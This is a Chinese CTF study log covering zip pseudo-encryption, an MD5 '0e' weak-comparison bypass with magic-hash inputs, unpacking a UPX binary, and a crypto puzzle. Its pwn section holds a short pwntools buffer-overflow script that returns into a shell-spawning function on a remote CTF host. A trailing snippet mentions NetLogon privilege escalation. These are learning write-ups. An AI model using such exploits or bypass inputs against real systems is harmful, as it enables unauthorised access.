2.6学习

news/2025/2/22 18:39:37

misc

buu-[GXYCTF2019]佛系青年

得到一个压缩包,需要密码才能解密010查看一下是真加密还是伪加密。看到是伪加密,将90改为00,得到文件

解压后是一个压缩包和一个文本文件,打开文本文件,看到最下方有一段密文,是佛经,解密得到flag

web

bugku-MD5

下载附件,看到的是一段代码这里可以看到是需要a不等于md51,但是二者的md5加密的结果相同(注意这个比较是弱比较),那么我们看看md51进行md5加密后的结果,这个是md5加密的结果的比较要相同

md5弱类型绕过
 0e绕过

    0e绕过的原理

科学记数法是一种记数的方法。

计算器表达10的幂一般是用E或e

如:2 760 000   =    2.76×10^6    =    2.76e6

           所以0e,无论后面跟什么值,都是0

    以下是常见的字符串md5值为0e开头

          原值                                 加密后的密文     

    QNKCDZO           0E830400451993494058024219903391
    240610708           0E462097431906509019562988736854
    s878926199a       0E545993274517709034328855841020
    s155964671a       0E342768416822451524974117254469
    s214587387a       0E848240448830537924465865611904

关于弱比较可以参考此文:1.10学习记录(弱比较)-CSDN博客 

所以我们进行get传参

http://117.72.52.127.19237/?a=s878926199a 

re

buu-新年快乐

得到附件,首先查壳,32位,upx壳

进行脱壳得到文件后用ida32打开,找到main函数

 strcpy函数:把含有'\0'结束符的字符串复制到另一个地址空间,返回值的类型为char*

memset函数:可以将指定内存区域设置为特定值,常用于对新分配的内存进行初始化[这里将str1初始化为32个0组成的字符串]

str2=“HappyNewYear!”

比较str2与str1的前strlen(str2)的字符,如果相同就输出“this is true flag!”

所以就是HappyNewYear!

所以提交flag{HappyNewYear!}

pwn

nss-[SWPUCTF 2021 新生赛]gift_pwn

得到附件首先checksec,没有保护机制64位ida64打开查看,查看main函数调用了vuln函数使用read函数,看到溢出点为buf[16],但是read函数可以输入0x64,这里就是溢出偏移量为0x10+0x8

然后看到gift函数可以看到这里直接调用了system函数,有bin/sh权限文件存在,双击看看,这里是我们需要将溢出返回的地址

from pwn import*
r=remote('node4.anna.nssctf.cn',28266)
r.sendline(b'a'*(0x10+0x8)+p64(0x4005B6))
r.interactive()

crypto

buu-[MRCTF2020]天干地支+甲子

下载附件得到的是一串文字,是天干地支记年法,根据题目的+甲子,应该是甲子(干支之一)

这里直接随波逐流解码就行


http://www.niftyadmin.cn/n/5862631.html

相关文章

【报错解决】vue打开界面报错Uncaught SecurityError: Failed to construct ‘WebSocket‘

问题描述: vue运行时正常,但是打开页面后报错 Uncaught SecurityError: Failed to construct WebSocket: An insecure WebSocket connection may not be initiated from a page loaded over HTTPS. 解决方案: 在项目列表中的public下的ind…

《Python实战进阶》专栏 No.3:Django 项目结构解析与入门DEMO

《Python实战进阶》专栏 第3集:Django 项目结构解析与入门DEMO 在本集中,我们将深入探讨 Django 的项目结构,并实际配置并运行一个入门DEMO博客网站,帮助你在 Web 开发中更高效地使用 Django。Django 是一个功能强大的 Python Web…

迅为RK3568开发板篇Openharmony配置HDF控制UART-实操-HDF驱动配置UART-修改HCS配置

对于不同的平台,需要在对应的平台目录修改对应的 hcs 文件,接下来示例为在 rk3568下新增 uart4 uart9 uart7 的修改方法。 修改 vendor/hihope/rk3568/hdf_config/khdf/device_info/device_info.hcs 文件,device_info.hcs 中添加以下内容&…

基于SpringBoot的宠物服务系统+uniapp小程序+LW参考示例

系列文章目录 1.基于SSM的洗衣房管理系统原生微信小程序LW参考示例 2.基于SpringBoot的宠物摄影网站管理系统LW参考示例 3.基于SpringBootVue的企业人事管理系统LW参考示例 4.基于SSM的高校实验室管理系统LW参考示例 5.基于SpringBoot的二手数码回收系统原生微信小程序LW参考示…

List的基本功能(1)

前言 上一节我们结束了对vector的讲解,本节我们主要来讲解一下list的功能,那么废话不多说,我们正式进入今天的学习 List的功能介绍 list的结构我们应该相当的熟悉了,他就是数据结构阶段的带头双向循环链表。之所以采用这样的结构…

Java面试第六山!《MySQL基础知识点》

一、引言 MySQL 作为一款广泛使用的开源关系型数据库管理系统,在软件开发领域占据着重要地位。无论是小型项目还是大型企业级应用,都能看到 MySQL 的身影。今天就来和大家分享 MySQL 的相关知识,帮助大家更好地应对日常开发和面试。 二、My…

【详细讲解在STM32的UART通信中使用DMA机制】

详细讲解在STM32的UART通信中使用DMA机制 目录 详细讲解在STM32的UART通信中使用DMA机制一、DMA机制概述二、DMA在UART中的作用三、DMA的配置步骤四、UART初始化与DMA结合五、DMA传输的中断处理六、DMA与中断的结合使用七、注意事项与常见问题八、代码示例九、总结 一、DMA机制…

NetLogon 权限提升漏洞

参考文章:CVE-2020-1472NetLogon权限提升漏洞_cve-2020-1472复现 谢公子-CSDN博客 域控机器账户:WIN-0V0GAORDC17 域控 ip:192.168.72.163 域内攻击者机器 ip:192.168.72.158,host:WIN10-01 攻击者 kali…